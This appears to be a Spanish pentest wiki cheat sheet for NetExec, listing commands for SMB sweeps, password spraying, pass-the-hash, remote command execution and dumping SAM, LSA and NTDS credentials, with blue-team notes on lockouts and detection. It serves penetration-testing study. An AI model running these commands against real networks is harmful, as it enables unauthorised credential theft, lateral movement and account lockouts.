NetExec (CME)
NetExec (el sucesor de CrackMapExec) es la navaja suiza del pentest de Active Directory y redes Windows. Automatiza la enumeración y el “spraying” de credenciales sobre múltiples hosts y protocolos (SMB, WinRM, LDAP, MSSQL, RDP, SSH). Imprescindible en el área Windows & AD (ad-*).
Qué hace
Sección titulada «Qué hace»- validar credenciales en masa sobre muchos hosts (¿dónde funciona esta cuenta?)- enumerar: shares, usuarios, políticas, sesiones, miembros de grupos- ejecutar comandos, volcar hashes/secretos, y multitud de módulos- soporta SMB, LDAP, WinRM, MSSQL, RDP, SSH, FTP, VNC...Uso básico (SMB)
Sección titulada «Uso básico (SMB)»nxc smb 10.10.10.0/24 # barrer: hosts, SMB signing, versiónnxc smb host -u user -p pass # validar credencialnxc smb host -u user -p pass --shares # enumerar sharesnxc smb 10.10.10.0/24 -u user -p pass # password spraying por la subrednxc smb host -u user -H <NThash> # pass-the-hash (ver ad-creds)Enumeración y post
Sección titulada «Enumeración y post»nxc smb host -u u -p p --users / --groups / --sessions / --loggedon-usersnxc smb host -u u -p p --sam / --lsa / --ntds # volcar credenciales (ver ad-creds)nxc ldap host -u u -p p --bloodhound ... # recolectar para BloodHound (ad-bloodhound)nxc smb host -u u -p p -x 'comando' # ejecutar comandonxc winrm host -u u -p p -x 'whoami' # ejecución vía WinRMPassword spraying (con cuidado)
Sección titulada «Password spraying (con cuidado)»# probar UNA contraseña contra MUCHOS usuarios (evita bloqueos) -> ver ad-spraynxc smb DC -u users.txt -p 'Primavera2024!' --continue-on-success# OJO con la política de bloqueo (lockout): spraying mal hecho bloquea cuentas (ruido/DoS)Marcadores útiles
Sección titulada «Marcadores útiles»(Pwn3d!) NetExec marca con esto cuando la credencial da ejecución admin en el host--local-auth autenticación local (no de dominio)# la salida resume rápido en qué hosts una cuenta es admin -> mapa de accesoBlue Team / uso
Sección titulada «Blue Team / uso»- NetExec mapea rápido dónde funciona una credencial y dónde es admin (Pwn3d!) en todo el dominio.
- Integra enumeración, spraying (Password Spraying), pass-the-hash (Volcado de credenciales) y volcado (NTDS/SAM/LSA).
- Cuidado con la política de bloqueo al rociar: mal hecho bloquea cuentas (DoS y ruido).
- Para el defensor: su actividad (muchos 4625/4624, acceso a shares) es muy detectable (Detección & logging).
Trucos y errores comunes
Sección titulada «Trucos y errores comunes»- Empieza por
--shares,--users,--pass-polpara enumerar antes de spray; respeta la lockout policy. - Error típico: spraying agresivo que bloquea cuentas del dominio; 1 intento por cuenta y espera la ventana.
- Usa el módulo adecuado y guarda el loot;
--ntdssolo con admin de dominio; marca el host con(Pwn3d!). - Soporta protocolos más allá de SMB (WINRM, LDAP, MSSQL, SSH); elige el que toque por objetivo.
Checklist de prueba
Sección titulada «Checklist de prueba»- Barrido SMB de la subred (signing, versiones, hosts)
- Validar credenciales y buscar (Pwn3d!) por el dominio
- Enumerar shares/usuarios/grupos/sesiones
- Password spraying respetando la política de bloqueo (Password Spraying)
- Pass-the-hash donde aplique (Volcado de credenciales)
- Recolección para BloodHound (BloodHound)
- Volcado de credenciales con cuenta privilegiada (Volcado de credenciales)